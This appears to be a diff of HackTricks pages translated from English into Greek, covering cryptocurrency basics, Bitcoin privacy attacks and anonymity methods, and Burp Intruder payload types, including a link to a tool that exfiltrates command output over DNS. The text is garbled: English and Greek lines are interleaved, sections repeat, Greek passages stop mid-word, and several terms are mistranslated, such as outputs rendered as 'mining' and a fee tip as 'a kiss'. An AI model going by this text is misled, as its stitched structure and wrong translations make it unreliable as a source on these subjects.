* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## Basic Concepts
|
||||
## Βασικές Έννοιες
|
||||
|
||||
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
|
||||
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
|
||||
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
|
||||
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
|
||||
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
|
||||
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
|
||||
- Τα **Έξυπνα Συμβόλαια** ορίζονται ως προγράμματα που εκτελούνται σε ένα blockchain όταν πληρούνται συγκεκριμένες συνθήκες, αυτοματοποιώντας την εκτέλεση συμφωνιών χωρίς ενδιάμεσους.
|
||||
- Οι **Αποκεντρωμένες Εφαρμογές (dApps)** βασίζονται σε έξυπνα συμβόλαια, παρέχοντας ένα φιλικό προς τον χρήστη μπροστινό μέρος και ένα διαφανές, ελεγχόμενο πίσω μέρος.
|
||||
- Τα **Κέρματα & Νομίσματα** διαφοροποιούνται, όπου τα νομίσματα λειτουργούν ως ψηφιακά χρήματα, ενώ τα κέρματα αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα πλαίσια.
|
||||
- Τα **Χρησιμότητας Κέρματα** παρέχουν πρόσβαση σε υπηρεσίες, και τα **Ασφαλείας Κέρματα** υποδηλώνουν την ιδιοκτησία του περιουσιακού στοιχείου.
|
||||
- Το **DeFi** σημαίνει Αποκεντρωμένη Χρηματοπιστωτική, προσφέροντας χρηματοπιστωτικές υπηρεσίες χωρίς κεντρικές αρχές.
|
||||
- Τα **DEX** και **DAOs** αναφέρονται σε Πλατφόρμες Αποκεντρωμένων Ανταλλαγών και Αποκεντρωμένων Αυτόνομων Οργανισμών, αντίστοιχα.
|
||||
|
||||
## Consensus Mechanisms
|
||||
## Μηχανισμοί Συναίνεσης
|
||||
|
||||
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
|
||||
- **Proof of Work (PoW)** relies on computational power for transaction verification.
|
||||
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
|
||||
Οι μηχανισμοί συναίνεσης εξασφαλίζουν ασφαλείς και συμφωνημένες επικυρώσεις συναλλαγών στο blockchain:
|
||||
- Η **Απόδειξη Εργασίας (PoW)** βασίζεται στην υπολογιστική ισχύ για την επαλήθευση των συναλλαγών.
|
||||
- Η **Απόδειξη Συμμετοχής (PoS)** απαιτεί από τους επαληθευτές να κατέχουν ένα συγκεκριμένο ποσό κερμάτων, μειώνοντας την κατανάλωση ενέργειας σε σύγκριση με την PoW.
|
||||
|
||||
## Bitcoin Essentials
|
||||
## Βασικά Στοιχεία του Bitcoin
|
||||
|
||||
### Transactions
|
||||
### Συναλλαγές
|
||||
|
||||
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
|
||||
Οι συναλλαγές Bitcoin περιλαμβάνουν τη μεταφορά κεφαλαίων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, εξασφαλίζοντας ότι μόνο ο κάτοχος του ιδιωτικού κλειδιού μπορεί να προβεί σε μεταφορές.
|
||||
|
||||
#### Key Components:
|
||||
#### Βασικά Στοιχεία:
|
||||
|
||||
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
|
||||
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
|
||||
- Οι **Πολυώροφες Συναλλαγές** απαιτούν πολλαπλές υπογραφές για να εξουσιοδοτήσουν μια συναλλαγή.
|
||||
- Οι συναλλαγές αποτελούνται από **εισροές** (πηγή κεφαλαίων), **εξορύξεις** (προορισμός), **τέλη** (πληρώνονται στους εξορύκτες) και **σενάρια** (κανόνες συναλλαγής).
|
||||
|
||||
### Lightning Network
|
||||
### Δίκτυο Lightning
|
||||
|
||||
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
|
||||
Στοχεύει στη βελτίωση της κλιμάκωσης του Bitcoin επιτρέποντας πολλαπλές συναλλαγές μέσα σε ένα κανάλι, μεταδίδοντας μόνο την τελική κατάσταση στο blockchain.
|
||||
|
||||
## Bitcoin Privacy Concerns
|
||||
## Ανησυχίες Απορρήτου του Bitcoin
|
||||
|
||||
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
|
||||
Οι επιθέσεις απορρήτου, όπως η **Κοινή Ιδιοκτησία Εισόδου** και η **Ανίχνευση Διεύθυνσης Αλλαγής UTXO**, εκμεταλλεύονται τα πρότυπα των συναλλαγών. Στρατηγικές όπως οι **Ανακατασκευαστές** και το **CoinJoin** βελτιώνουν την ανωνυμία κρύβοντας τις συνδέσεις των συναλλαγών μεταξύ των χρηστών.
|
||||
|
||||
## Acquiring Bitcoins Anonymously
|
||||
|
||||
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
|
||||
|
||||
|
||||
# Bitcoin Privacy Atacks
|
||||
|
||||
# Summary of Bitcoin Privacy Attacks
|
||||
|
||||
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
|
||||
|
||||
## **Common Input Ownership Assumption**
|
||||
|
||||
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
|
||||
|
||||
## **UTXO Change Address Detection**
|
||||
|
||||
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
|
||||
|
||||
### Example
|
||||
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
|
||||
|
||||
## **Social Networks & Forums Exposure**
|
||||
|
||||
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
|
||||
|
||||
## **Transaction Graph Analysis**
|
||||
|
||||
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
|
||||
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
|
||||
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
|
||||
|
||||
### Example
|
||||
## Απόκτηση Bitcoins Ανώνυμα
|
||||
|
||||
Οι μέθοδοι περιλαμβάνουν τις μετατροπές μετρητών, τον εξορυκτήριο και τη χρήση ανακατασκευαστών. Το **CoinJoin** ανακατεύει πολλαπλές συναλλαγές για να περιπλέξει την ανιχνευσιμότητα, ενώ το **PayJoin** μεταμφιέ
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
## **Εξαναγκασμένη Επαναχρησιμοποίηση Διευθύνσεων**
|
||||
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα συνδυάσει αυτά με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι τις διευθύνσεις μεταξύ τους.
|
||||
|
||||
## **Forced Address Reuse**
|
||||
### Σωστή Συμπεριφορά Πορτοφολιού
|
||||
Τα πορτοφόλια πρέπει να αποφεύγουν τη χρήση κερμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να αποτρέψουν αυτήν τη διαρροή απορρήτου.
|
||||
|
||||
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
|
||||
## **Άλλες Τεχνικές Ανάλυσης Αλυσίδας Μπλοκ**
|
||||
|
||||
### Correct Wallet Behavior
|
||||
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
|
||||
- **Ακριβή Ποσά Πληρωμής:** Οι συναλλαγές χωρίς αλλαγή πιθανότατα είναι μεταξύ δύο διευθύνσεων που ανήκουν στον ίδιο χρήστη.
|
||||
- **Στρογγυλοί Αριθμοί:** Ένας στρογγυλός αριθμός σε μια συναλλαγή υποδηλώνει ότι είναι μια πληρωμή, με τη μη στρογγυλή έξοδο να είναι πιθανότατα η αλλαγή.
|
||||
- **Αναγνώριση Πορτοφολιού:** Διάφορα πορτοφόλια έχουν μοναδικά πρότυπα δημιουργίας συναλλαγών, επιτρέποντας στους αναλυτές να αναγνωρίσουν το λογισμικό που χρησιμοποιήθηκε και πιθανώς τη διεύθυνση αλλαγής.
|
||||
- **Συσχετίσεις Ποσού & Χρονικού Πλαισίου:** Η αποκάλυψη των χρόνων ή των ποσών συναλλαγής μπορεί να καταστήσει τις συναλλαγές ιχνηλατήσιμες.
|
||||
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
## **Ανάλυση Κίνησης**
|
||||
|
||||
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
|
||||
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
|
||||
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
|
||||
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
|
||||
Μέσω της παρακολούθησης της κίνησης του δικτύου, οι επιτιθέμενοι μπορούν πιθανώς να συνδέσουν συναλλαγές ή μπλοκ με διευθύνσεις IP, παραβιάζοντας την ιδιωτικότητα των χρηστών. Αυτό ισχύει ιδιαίτερα αν μια οντότητα λειτουργεί πολλούς κόμβους Bitcoin, ενισχύοντας έτσι τη δυνατότητά της να παρακολουθεί τις συναλλαγές.
|
||||
|
||||
## **Traffic Analysis**
|
||||
|
||||
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
|
||||
|
||||
## More
|
||||
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
## Περισσότερα
|
||||
Για μια εκτενή λίστα επιθέσεων και αμυντικών μέτρων απορρήτου, επισκεφθείτε το [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
|
||||
# Anonymous Bitcoin Transactions
|
||||
# Ανώνυμες Συναλλαγές Bitcoin
|
||||
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
## Τρόποι Απόκτησης Bitcoins Ανώνυμα
|
||||
|
||||
- **Cash Transactions**: Acquiring bitcoin through cash.
|
||||
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
|
||||
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
|
||||
- **Συναλλαγές με Μετρητά**: Απόκτηση bitcoin μέσω μετρητά.
|
||||
- **Εναλλακτικές Μετρητά**: Αγορά καρτών δώρου και ανταλλαγή τους online για bitcoin.
|
||||
- **Εξόρυξη**: Ο πιο ιδιωτικός τρόπος για να κερδίσετε bitcoins είναι μέσω της εξόρυξης, ειδικά όταν γίνεται ατομικά, επειδή οι ομάδες εξόρυξης μπορεί να γνωρίζουν τη διεύθυνση IP του εξορύκτη. [Πληροφορίες για Ομάδες Εξόρυξης](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Κλοπή**: Θεωρητικά, η κλοπή bitcoin μπορεί να είναι ένας άλλος τρόπος απόκτησής του ανώνυμα, αν και είναι παράνομο και δεν συνιστάται.
|
||||
|
||||
## Mixing Services
|
||||
## Υπηρεσίες Ανάμειξης
|
||||
|
||||
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
|
||||
Χρησιμοποιώντας μια υπηρεσία ανάμειξης, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins ως αντάλλαγμα**, κάτι που δυσκολεύει την ανιχνευσιμότητα του αρχικού κατόχου. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία να μην κρατάει καταγραφές και να επιστρέφει πραγματικά τα bitcoins. Εναλλακτικές επιλογές ανάμειξης περιλαμβάνουν τα Bitcoin καζίνο.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
|
||||
Το **CoinJoin** συγχωνεύει πολλαπλές συναλλαγές από διάφορους χρήστες σε μία, δυσκολεύοντας τη διαδικασία για οποιονδήποτε προσπαθεί να ταιριάξει τις εισροές με τις εξόδους. Παρόλη την αποτελεσματικότητά του, συναλλαγές με μοναδικούς μεγέθους εισόδου και εξόδου μπορούν ακόμα να ανιχνευθούν.
|
||||
|
||||
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
Παραδείγματα συναλλαγών που μπορεί να έχουν χρησιμοποιήσει το CoinJoin περιλαμβάνουν τις `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||
Για περισσότερες πληροφορίες, επισκεφθείτε το [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, ανατρέξτε στο [Tornado Cash](https://tornado.cash), το οποίο ανωνυμοποιεί συναλλαγές με κεφάλαια από τους εξορύκτες.
|
||||
|
||||
## PayJoin
|
||||
|
||||
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
|
||||
|
||||
Μια παραλλαγή του CoinJoin, το **PayJoin** (ή P2EP), μεταμφιέζει τη συναλλαγή μεταξύ δύο μερών (π.χ. ένας πελάτης και ένας εμπόρος) ως μια κανονική συναλλαγή, χωρίς το χαρακτηριστικό των ίσων εξόδων που έχει το CoinJoin. Αυτό το καθιστά εξαιρετικά δύσκολο να ανιχνευθεί και μπορεί να ακυρώσει τον κοινό-κοινή-είσοδο-ιδιοκτησίας ευρετήριο που χρησιμοποιούν οντότητες παρακολούθησης συναλλαγών.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Συναλλαγές όπως η παραπάνω μπορεί να είναι PayJoin, βελτιώνοντας την ιδιωτικότητα ενώ παραμένει αδιάκριτη από τις κανονικές συναλλαγές Bitcoin.
|
||||
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
**Η χρήση του PayJoin μπορεί να διαταράξει σημαντικά τις παραδοσιακές μεθόδους παρακολούθησης**, καθιστώντας το μια ελπιδοφόρα εξέλιξη στην προσπάθεια για την ιδιωτικότητα των συναλλαγών.
|
||||
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
# Καλές Πρακτικές για την Ιδιωτικότητα στις Κρυπτονομίσματα
|
||||
|
||||
## **Τεχνικές Συγχρονισμού Πορτοφολιών**
|
||||
|
||||
# Best Practices for Privacy in Cryptocurrencies
|
||||
Για τη διατήρηση της ιδιωτικότητας και της ασφάλειας, ο συγχρονισμός των πορτοφολιών με το blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν:
|
||||
|
||||
## **Wallet Synchronization Techniques**
|
||||
- **Πλήρης κόμβος**: Με το να κατεβάζει ολόκληρο το blockchain, ένας πλήρης κόμβος εξασφαλίζει μέγιστη ιδιωτικότητα. Όλες οι ποτέ γίνονται συναλλαγές αποθηκεύονται τοπικά, καθιστώντας αδύνατο για τους αντιπάλους να αναγνωρίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρουν τον χρήστη.
|
||||
- **Φιλτράρισμα μπλοκ από την πλευρά του πελάτη**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε μπλοκ στο blockchain, επιτρέποντας στα πορτοφόλια να αναγνωρίζουν σχετικές συναλλαγές χωρίς να αποκαλύπτουν συγκεκριμένα ενδιαφέροντα στους παρατηρητές του δικτύου. Τα ελαφριά πορτοφόλια κατεβάζουν αυτά τα φίλτρα, κατεβάζοντας μόνο τα πλήρη μπλοκ όταν βρεθεί αντιστοιχία με τις διευθύνσεις του χρήστη.
|
||||
|
||||
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
|
||||
## **Χρήση του Tor για Ανωνυμία**
|
||||
|
||||
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
|
||||
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
|
||||
Δεδομένου ότι το Bitcoin λειτουργεί σε ένα δίκτυο από ομότιμους κόμβους, συνιστάται η χρήση του Tor για να αποκρύψετε τη διεύθυνση IP σας, βελτιώνοντας την ιδιωτικότητα κατά την αλληλεπίδραση με το δίκτυο.
|
||||
|
||||
## **Utilizing Tor for Anonymity**
|
||||
## **Αποτροπή Επαναχρησιμοποίησης Διευθύνσεων**
|
||||
|
||||
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
|
||||
Για τη διασφάλιση της ιδιωτικότητας, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να απειλήσει την ιδιωτικότητα συνδέοντας τις συναλλαγές με τον ίδιο φορέα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους.
|
||||
|
||||
## **Preventing Address Reuse**
|
||||
## **Στρατηγικές για την Ιδιωτικότητα των Συναλλαγών**
|
||||
|
||||
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
|
||||
- **Πολλαπλές συναλλαγές**: Η διαίρεση μιας πληρωμής σε πολλαπλές συναλλαγές μπορεί να αποκρύψει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις στην ιδιωτικότητα.
|
||||
- **Αποφυγή αλλαγής**: Η επιλογή συναλλαγών που δεν απαιτούν αλλαγή εξασφαλίζει την ιδιωτικότητα διαταράσσοντας τις μεθόδους ανίχνευσης αλλαγής.
|
||||
- **Πολλαπλές αλλαγές εξόδων**: Εάν η αποφυγή της αλλαγής δεν είναι εφικτή, η δημιουργία πολλαπλών αλλαγών εξόδων μπορεί να βελτιώσει την ιδιωτικότητα.
|
||||
|
||||
## **Strategies for Transaction Privacy**
|
||||
# **Monero: Ένα Φάρος της Ανωνυμίας**
|
||||
|
||||
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
|
||||
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
|
||||
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
|
||||
Το Monero αντιμετωπίζει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας υψηλά πρότυπα για την ιδιωτικότητα.
|
||||
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
# **Ethereum: Gas και Συναλλαγές**
|
||||
|
||||
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
|
||||
## **Κατανόηση του Gas**
|
||||
|
||||
# **Ethereum: Gas and Transactions**
|
||||
|
||||
## **Understanding Gas**
|
||||
|
||||
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
|
||||
|
||||
## **Executing Transactions**
|
||||
|
||||
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
|
||||
|
||||
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake)
|
||||
* [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
* [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
Το Gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογούμενο σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2.310.000 gwei (ή 0,00231 ETH) περιλαμβάνει ένα όριο gas και μια βασική χρέωση, με ένα φιλί για να ενθαρρύνει τους εξορύκτες. Οι χρήστες μπορούν να ορίσουν ένα μέγιστο τέλος για να διασφαλίσουν ότι δεν πληρώνουν υπερβολικά, με την επιστροφή του υπερβάλλοντος ποσού.
|
||||
|
||||
## **Εκτέλεση Συναλλαγών**
|
||||
|
||||
Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, οι οποίοι μπορεί να είναι είτε χρήστες είτε διευθύνσεις έξυπνων συμβολαίων. Απαιτούν μια χρέωση και πρέπει να εξορυχθούν. Τα σημαντικά στοιχεία μιας συναλλαγής περιλαμβάνου
|
||||
|
|
|
@ -1,29 +1,27 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Basic Payloads
|
||||
# Βασικά Payloads
|
||||
|
||||
* **Simple List:** Just a list containing an entry in each line
|
||||
* **Runtime File:** A list read in runtime (not loaded in memory). For supporting big lists.
|
||||
* **Case Modification:** Apply some changes to a list of strings(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-.
|
||||
* **Numbers:** Generate numbers from X to Y using Z step or randomly.
|
||||
* **Brute Forcer:** Character set, min & max length.
|
||||
* **Απλή Λίστα:** Απλά μια λίστα που περιέχει μια καταχώρηση σε κάθε γραμμή
|
||||
* **Αρχείο Εκτέλεσης:** Μια λίστα που διαβάζεται κατά την εκτέλεση (δεν φορτώνεται στη μνήμη). Για την υποστήριξη μεγάλων λιστών.
|
||||
* **Τροποποίηση Περίπτωσης:** Εφαρμόστε ορισμένες αλλαγές σε μια λίστα από συμβολοσειρές (Χωρίς αλλαγή, προς πεζά, προς κεφαλαία, σε Κεφαλαία Όνομα - Πρώτο γράμμα κεφαλαίο και τα υπόλοιπα προς πεζά-, σε Κεφαλαίο Όνομα - Πρώτο γράμμα κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-.
|
||||
* **Αριθμοί:** Δημιουργία αριθμών από Χ έως Υ χρησιμοποιώντας βήμα Z ή τυχαία.
|
||||
* **Brute Forcer:** Σύνολο χαρακτήρων, ελάχιστο & μέγιστο μήκος.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload για εκτέλεση εντολών και ανάκτηση των αποτελεσμάτων μέσω αιτημάτων DNS στο burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
|
||||
|
@ -32,16 +30,14 @@ Other ways to support HackTricks:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
